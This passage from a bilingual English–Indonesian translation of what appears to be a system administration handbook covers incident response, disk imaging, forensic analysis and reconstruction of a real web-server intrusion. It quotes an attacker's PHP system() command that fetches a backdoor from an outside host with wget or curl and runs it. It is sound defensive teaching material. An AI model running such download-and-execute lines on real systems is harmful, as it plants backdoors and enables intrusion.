id-ID: Setelah elemen "dinamis" sudah diselamatkan, langkah berikutnya adalah untuk menyimpan image lengkap dari hard disk. Membuat image seperti itu mustahil jika sistem berkas masih berubah, itulah sebabnya itu harus dikait ulang hanya-baca. Solusi yang paling sederhana adalah sering dengan menghentikan server secara brutal (setelah menjalankan <command>sync</command>) dan reboot memakai CD rescue. Masing-masing partisi akan disalin dengan alat seperti <command>dd</command>; image ini dapat dikirim ke server lain (mungkin dengan alat <command>nc</command> yang sangat nyaman). Kemungkinan lain mungkin bahkan lebih sederhana: hanya mendapatkan disk dari mesin dan menggantinya dengan yang baru yang dapat diformat dan diinstal ulang.

en: Re-installing
id-ID: Menginstal ulang

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
id-ID: Server tidak boleh kembali daring tanpa instalasi ulang lengkap. Jika kompromi parah (jika hak akses administratif diperoleh), hampir tidak ada cara lain untuk memastikan bahwa kita bisa menyingkirkan semua yang mungkin telah ditinggalkan oleh penyerang (terutama <emphasis>backdoor</emphasis>). Tentu saja, semua pembaruan keamanan terkini juga dapat diterapkan untuk menambal kerentanan yang digunakan oleh penyerang. Idealnya, menganalisis serangan harus mengarahkan pada vektor serangan ini, sehingga seseorang dapat yakin benar-benar memperbaikinya; bila tidak, kita hanya dapat berharap bahwa kerentanan itu salah satu dari yang diperbaiki oleh pembaruan.

en: Forensic Analysis
id-ID: Analisis Forensik

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
id-ID: Sekarang setelah layanan yang telah dipulihkan, saatnya untuk melihat lebih dekat pada image disk sistem yang terkompromi untuk memahami vektor serangan. Ketika mengait image ini, perlu hati-hati untuk menggunakan opsi <literal>ro, nodev, noexec, noatime</literal> untuk menghindari mengubah isi (termasuk stempel waktu akses ke berkas) atau kesalahan menjalankan program yang terkompromi.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
id-ID: Merunut ulang skenario serangan biasanya melibatkan mencari segala sesuatu yang dimodifikasi dan dijalankan:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
id-ID: Berkas <filename>.bash_history</filename> sering menyediakan bacaan yang sangat menarik;

en: so does listing files that were recently created, modified or accessed;
id-ID: begitu pula daftar berkas yang baru saja dibuat, dimodifikasi, atau diakses;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
id-ID: perintah <command>string</command> membantu mengidentifikasi program yang dipasang oleh penyerang, dengan mengekstrak string teks dari biner;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
id-ID: berkas log dalam <filename>/var/log/</filename> sering memungkinkan merekonstruksi kronologi peristiwa;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
id-ID: alat khusus juga memungkinkan memulihkan isi berkas yang berpotensi dihapus, termasuk berkas log yang oleh penyerang sering dihapus.

en: Reconstituting the Attack Scenario
id-ID: Merekonstruksi Skenario Serangan

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
id-ID: Semua elemen yang dikumpulkan selama analisis harus sesuai pas seperti potongan-potongan dalam teka-teki; penciptaan berkas mencurigakan pertama sering berkorelasi dengan log yang membuktikan pelanggaran. Contoh dunia nyata seharusnya lebih eksplisit daripada celotehan panjang yang teoritis.

en: The following log is an extract from an Apache <filename>access.log</filename>:
id-ID: Log berikut adalah ekstrak dari <filename>access.log</filename> Apache:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
id-ID: Dekode URL panjang ini mengarah pada pemahaman bahwa penyerang berhasil menjalankan beberapa kode PHP, yaitu: <command>system("cd/tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Memang, berkas <filename>bd</filename> ditemukan di <filename>/tmp/</filename>. Menjalankan <command>strings /mnt/tmp/bd</command> mengembalikan, antara lain string, <literal>PsychoPhobia Backdoor is starting...</literal>. Ini benar-benar tampak seperti backdoor.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
id-ID: Beberapa waktu kemudian, akses ini digunakan untuk mengunduh, menginstal, dan menjalankan <emphasis>bot</emphasis> IRC yang terhubung ke jaringan IRC bawah tanah. Bot bisa kemudian dikendalikan melalui protokol ini dan diperintahkan untuk mengunduh berkas untuk dibagikan. Program ini bahkan memiliki berkas log sendiri:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
id-ID: Jejak ini menunjukkan bahwa dua berkas video telah disimpan pada server melalui alamat IP 82.50.72.202.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
id-ID: Secara paralel, penyerang juga mengunduh berkas tambahan, <filename>/tmp/pt</filename> dan <filename>/tmp/loginx</filename>. Menjalankan berkas ini melalui <command>strings</command> mengarah ke string seperti <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> dan <foreignphrase>Now wait for suid shell...</foreignphrase>. Ini terlihat seperti program-program yang mengeksploitasi kelemahan lokal untuk mendapatkan hak akses administratif. Apakah mereka mencapai target mereka? Dalam kasus ini, mungkin tidak, karena tidak ada berkas yang tampak telah telah dimodifikasi setelah pelanggaran awal.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
id-ID: Dalam contoh ini, seluruh penyusupan telah direkonstruksi, dan dapat ditarik kesimpulan bahwa penyerang telah mampu mengambil keuntungan dari sistem yang terkompromi selama tiga hari; tapi unsur yang paling penting dalam analisis adalah bahwa kerentanan telah diidentifikasi, dan administrator dapat yakin bahwa instalasi baru benar-benar memperbaiki kerentanan.
